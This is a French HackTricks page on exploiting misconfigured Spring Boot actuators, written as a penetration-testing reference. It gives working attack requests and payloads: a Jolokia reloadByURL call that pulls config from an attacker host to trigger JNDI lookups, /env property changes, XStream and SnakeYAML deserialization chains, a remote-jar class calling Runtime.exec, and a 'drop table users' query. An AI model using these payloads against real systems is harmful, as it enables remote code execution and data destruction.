21 KiB
Spring Actuators
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Bypass d'authentification Spring
De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Exploitation des actuateurs Spring Boot
copié de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Le framework Spring Boot comprend un certain nombre de fonctionnalités appelées actuateurs pour vous aider à surveiller et à gérer votre application web lorsque vous la poussez en production. Destinés à être utilisés pour l'audit, la santé et la collecte de métriques, ils peuvent également ouvrir une porte cachée vers votre serveur en cas de mauvaise configuration.
Lorsqu'une application Spring Boot est en cours d'exécution, elle enregistre automatiquement plusieurs points de terminaison (tels que '/health', '/trace', '/beans', '/env' etc) dans le processus de routage. Pour Spring Boot 1 - 1.4, ils sont accessibles sans authentification, ce qui pose des problèmes importants en matière de sécurité. À partir de la version Spring 1.5, tous les points de terminaison à l'exception de '/health' et '/info' sont considérés comme sensibles et sécurisés par défaut, mais cette sécurité est souvent désactivée par les développeurs d'applications.
Les points de terminaison Actuator suivants pourraient potentiellement avoir des implications de sécurité conduisant à des vulnérabilités possibles :
- /dump - affiche un dump de threads (y compris une trace de la pile)
- /trace - affiche les derniers messages HTTP (qui pourraient inclure des identifiants de session)
- /logfile - affiche le contenu du fichier journal
- /shutdown - arrête l'application
- /mappings - montre tous les mappages de contrôleur MVC
- /env - fournit un accès à l'environnement de configuration
- /actuator/env
- /restart - redémarre l'application
- /heapdump - construit et renvoie un dump de tas à partir du JVM utilisé par notre application
Pour Spring 1x, ils sont enregistrés sous l'URL racine, et dans 2x, ils ont été déplacés vers le chemin de base "/actuator/".
Exploitation :
La plupart des actuateurs ne prennent en charge que les requêtes GET et révèlent simplement des données de configuration sensibles, mais plusieurs d'entre eux sont particulièrement intéressants pour les chasseurs de shell :
1. Exécution de code à distance via '/jolokia'
Si la bibliothèque Jolokia est dans le chemin de classe de l'application cible, elle est automatiquement exposée par Spring Boot sous le point de terminaison '/jolokia' de l'actuateur. Jolokia permet l'accès HTTP à tous les MBeans enregistrés et est conçu pour effectuer les mêmes opérations que celles que vous pouvez effectuer avec JMX. Il est possible de lister toutes les actions MBeans disponibles en utilisant l'URL :
http://127.0.0.1:8090/jolokia/list
Encore une fois, la plupart des actions MBeans ne révèlent que des données système, mais l'une d'entre elles est particulièrement intéressante :
L'action 'reloadByURL', fournie par la bibliothèque Logback, nous permet de recharger la configuration de journalisation à partir d'une URL externe. Elle peut être déclenchée simplement en naviguant vers : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
Alors, pourquoi devrions-nous nous soucier de la configuration de journalisation ? Principalement pour deux raisons :
- La configuration a un format XML, et bien sûr, Logback l'analyse avec les entités externes activées, ce qui le rend vulnérable à l'XXE aveugle.
- La configuration Logback a la fonctionnalité 'Obtaining variables from JNDI'. Dans le fichier XML, nous pouvons inclure une balise comme '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' et l'attribut name sera transmis à la méthode DirContext.lookup(). Si nous pouvons fournir un nom arbitraire dans la fonction .lookup(), nous n'avons même pas besoin d'XXE ou de HeapDump car cela nous donne une exécution de code à distance complète.
Comment ça marche :
-
Un attaquant demande l'URL mentionnée ci-dessus pour exécuter la fonction 'reloadByURL', fournie par la classe 'qos.logback.classic.jmx.JMXConfigurator'.
-
La fonction 'reloadByURL' télécharge une nouvelle configuration depuis http://artsploit.com/logback.xml et l'analyse en tant que configuration Logback. Cette configuration malveillante devrait avoir le contenu suivant :
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
3. Lorsque ce fichier est analysé sur le serveur vulnérable, il crée une connexion vers le serveur LDAP contrôlé par l'attaquant spécifié dans la valeur du paramètre "env-entry-name", ce qui conduit à une résolution JNDI. Le serveur LDAP malveillant peut renvoyer un objet de type 'Référence' pour déclencher une exécution du bytecode fourni sur l'application cible. Les attaques JNDI sont bien expliquées dans ce document de recherche de MicroFocus. La nouvelle technique d'exploitation JNDI (décrite précédemment dans notre blog) fonctionne également ici, car Tomcat est le serveur d'application par défaut dans le framework Spring Boot.
2. Modification de la configuration via '/env'
Si les bibliothèques Spring Cloud sont dans le classpath, le point de terminaison '/env' vous permet de modifier les propriétés environnementales de Spring. Tous les beans annotés avec '@ConfigurationProperties' peuvent être modifiés et réassociés. De nombreuses propriétés que nous pouvons contrôler, mais pas toutes, sont répertoriées sur le point de terminaison '/configprops' de l'actuateur. En fait, il y en a des tonnes, mais il n'est absolument pas clair de savoir ce que nous devons modifier pour atteindre quelque chose. Après avoir passé quelques jours à jouer avec eux, nous avons trouvé ceci:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
Cette propriété modifie l'URL de service Eureka vers une valeur arbitraire. Eureka Server est normalement utilisé comme serveur de découverte, et presque toutes les applications Spring Cloud s'y enregistrent et y envoient des mises à jour d'état. Si vous avez la chance d'avoir Eureka-Client <1.8.7 dans le classpath cible (il est normalement inclus dans Spring Cloud Netflix), vous pouvez exploiter la vulnérabilité de désérialisation XStream en elle. Tout ce que vous avez à faire est de définir la propriété 'eureka.client.serviceUrl.defaultZone' sur votre URL de serveur (http://artsploit.com/n/xstream) via '/env' et ensuite appeler l'endpoint '/refresh'. Après cela, votre serveur devrait servir la charge utile XStream avec le contenu suivant:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
Ce payload XStream est une version légèrement modifiée de la chaîne de gadgets ImageIO JDK-only de la recherche Marshalsec. La seule différence ici est l'utilisation de LinkedHashSet pour déclencher la méthode 'jdk.nashorn.internal.objects.NativeString.hashCode()'. Le payload original utilise java.lang.Map pour obtenir le même comportement, mais la configuration XStream d'Eureka a un convertisseur personnalisé pour les maps qui le rend inutilisable. Le payload ci-dessus n'utilise pas de maps du tout et peut être utilisé pour obtenir une exécution de code à distance sans contraintes supplémentaires.
En utilisant Spring Actuators, vous pouvez en fait exploiter cette vulnérabilité même si vous n'avez pas accès à un serveur Eureka interne ; vous avez seulement besoin d'un point de terminaison "/env" disponible.
Autres paramètres utiles :
spring.datasource.tomcat.validationQuery=drop+table+users - vous permet de spécifier n'importe quelle requête SQL, qui sera automatiquement exécutée contre la base de données actuelle. Cela peut être n'importe quelle instruction, y compris insert, update ou delete.
spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - vous permet de modifier la chaîne de connexion JDBC actuelle.
Le dernier est intéressant, mais le problème est que lorsque l'application exécutant la connexion à la base de données est déjà établie, la simple mise à jour de la chaîne JDBC n'a aucun effet. Heureusement, il existe une autre propriété qui peut nous aider dans ce cas :
spring.datasource.tomcat.max-active=777
Le tour que nous pouvons utiliser ici est d'augmenter le nombre de connexions simultanées à la base de données. Ainsi, nous pouvons changer la chaîne de connexion JDBC, augmenter le nombre de connexions, et après cela envoyer de nombreuses requêtes à l'application pour simuler une charge importante. Sous la charge, l'application créera une nouvelle connexion à la base de données avec la chaîne JDBC malveillante mise à jour. J'ai testé cette technique localement contre Mysql et cela fonctionne parfaitement.
Outre cela, il y a d'autres propriétés qui semblent intéressantes, mais qui, en pratique, ne sont pas vraiment utiles :
spring.datasource.url - chaîne de connexion à la base de données (utilisée uniquement pour la première connexion)
spring.datasource.jndiName - chaîne JNDI de la base de données (utilisée uniquement pour la première connexion)
spring.datasource.tomcat.dataSourceJNDI - chaîne JNDI de la base de données (pas du tout utilisée)
spring.cloud.config.uri=http://artsploit.com/ - url de configuration de nuage de printemps (n'a aucun effet après le démarrage de l'application, seules les valeurs initiales sont utilisées).
Ces propriétés n'ont aucun effet à moins que le point de terminaison '/restart' ne soit appelé. Ce point de terminaison redémarre tous les ApplicationContext, mais il est désactivé par défaut.
Il y a beaucoup d'autres propriétés intéressantes, mais la plupart d'entre elles n'ont pas d'effet immédiat après le changement.
N.B. Dans Spring Boot 2x, le format de requête pour modifier les propriétés via le point de terminaison '/env' est légèrement différent (il utilise le format json à la place), mais l'idée est la même.
Un exemple d'application vulnérable :
Si vous voulez tester cette vulnérabilité localement, j'ai créé une simple application Spring Boot sur ma page Github. Tous les payloads devraient fonctionner là-bas, sauf les paramètres de base de données (à moins que vous ne les configuriez).
Découverte en boîte noire :
Une liste complète des actuateurs par défaut peut être trouvée ici : https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Gardez à l'esprit que les développeurs d'applications peuvent créer leurs propres points de terminaison en utilisant l'annotation @Endpoint.
Mise à jour de mai 2019 :
Il existe un moyen plus fiable d'obtenir une RCE via une modification des propriétés environnementales de Spring :
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
Cette requête modifie la propriété 'spring.cloud.bootstrap.location', qui est utilisée pour charger une configuration externe et la parser en format YAML. Pour que cela se produise, nous devons également appeler l'endpoint '/refresh'.
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Lorsque la configuration YAML est récupérée depuis le serveur distant, elle est analysée avec la bibliothèque SnakeYAML, qui est également susceptible d'être attaquée par désérialisation. La charge utile (yaml-payload.yml) peut être générée en utilisant la recherche Marshalsec mentionnée ci-dessus :
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
La désérialisation de ce fichier déclenche l'exécution du constructeur de ScriptEngineManager avec le URLClassLoader fourni. En bref, cela conduit à la méthode 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', qui tente de trouver toutes les implémentations de l'interface 'ScriptEngineFactory' dans toutes les bibliothèques du classpath. Comme nous pouvons ajouter une nouvelle bibliothèque via URLClassLoader, nous pouvons servir une nouvelle 'ScriptEngineFactory' avec le bytecode malveillant à l'intérieur. Pour ce faire, nous devons créer une archive jar avec les fichiers obligatoires suivants: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class doit contenir le bytecode réel, avec la charge utile malveillante dans le constructeur.
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
Le fichier yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory devrait être juste un fichier texte contenant une référence complète à 'artsploit.AwesomeScriptEngineFactory', afin que le ServiceLoader sache où trouver la classe: artsploit.AwesomeScriptEngineFactory. Encore une fois, cette technique d'exploitation nécessite que Spring Cloud soit dans le classpath, mais en comparaison avec la charge utile XStream d'Eureka, elle fonctionne même dans la dernière version. Vous pouvez trouver la charge utile complète dans mon projet github: yaml-payload.
Env + H2 RCE
Consultez cette page pour savoir comment exploiter la combinaison /env + H2: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
Plus d'informations
- https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html
- https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators
- https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.